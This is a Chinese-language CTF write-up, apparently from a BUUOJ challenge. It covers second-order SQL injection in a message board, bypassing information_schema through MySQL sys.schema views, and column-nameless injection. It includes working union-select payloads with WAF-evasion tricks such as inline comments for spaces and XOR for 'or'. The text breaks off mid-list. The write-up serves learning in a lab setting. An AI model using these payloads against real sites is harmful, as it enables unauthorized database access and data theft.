0x00 知识点
二次注入流程分析
- 二次注入漏洞在CTF中常见于留言板和注册登录功能,简单来说可以分为两个步骤:
- 插入恶意数据(发布帖子,注册账号),用mysql_escape_string()函数对恶意字符进行转义,但是再将数据写入数据库中的时候又保留了原来的数据.
- 引用插入的恶意数据:在进行查询时,直接从数据库中引用恶意数据,没有做进一步过滤和检验.
bypass information_schema
参考文章:https://www.anquanke.com/post/id/193512
- information_schema这个数据库存放着其他数据库的信息,包括表名,字段名等.在常规注入过程中利用information_schema就是想要获取到其中的信息.
- mysql在5.7版本中新增了sys.schema:
sys.schema_auto_increment_columns #该视图的作用是对表自增ID进行监控
就是说,某张表如果存在自增ID,我们就可以通过该视图获取数据库中的该表名信息.- 如果该表没有自增主键呢?->
sys.schema_table_statistics_with_buffer
- payload(环境:sqli-labs Less1):
?id=-1\' union select 1,(select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()),3 --+
?id=-1\' union select 1,(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),3 --+
- 限制条件:
- mysql version>=5.7
- 要求权限高,一般root用户才可以访问
无列名注入
-
如果information_schema被WAF,得到表名之后使用无列名注入技巧获取字段值.
-
之后就可以利用数字来对应相应的列,进行查询
这里有两点需要注意一下:- 列名需要用``包裹起来
- 使用子查询的时候,即一个查询嵌套在另一个查询中,内层查询的结果可以作为外层查询的条件,内层查询到的结果需要起一个别名(as)
-
如果反引号``被过滤,可以使用为字段起别名的方式.
0x01 解题
1)留言板二次注入:我们申请广告的时候数据库将我们输入的恶意字符进行转义,但是写入数据库的时候会将数据还原。当点击查看广告详情的时候数据库对查询到的结果并未严格过滤,导致了二次注入。
2)题目过滤了空格,or,注释符号,导致了order by,information_schema都被WAF.绕过姿势:空格用内联注释绕过,or用异或^绕过,最后考虑闭合单引号的问题。
3)这道题目在buuoj上的复现是没办法用sys.schema来bypass information_schema的,原因是buuoj没有sys.schema_table_statistics_with_buffer这个数据库,但是比赛中是可以利用的,所以还是要作为一个技巧来积累。
- 开头的注册登录只是幌子,注册账号,进入留言板.
- 发现注入点:
3. 猜解字段数:-1\'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,\'22
,因为过滤了\'or\'导致order by无法使用,得用到联合查询一个个试,蛋疼的是有22个字段。 注意最后的引号闭合。
4. 因为环境原因无法bypass得到表名,看了wp知道表名是users。
5. 无列名注入:
1. 猜解users表的字段数,最后得到字段数为3.
2. 使用无列名注入查询字段信息:payload:-1\'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,\'22
3.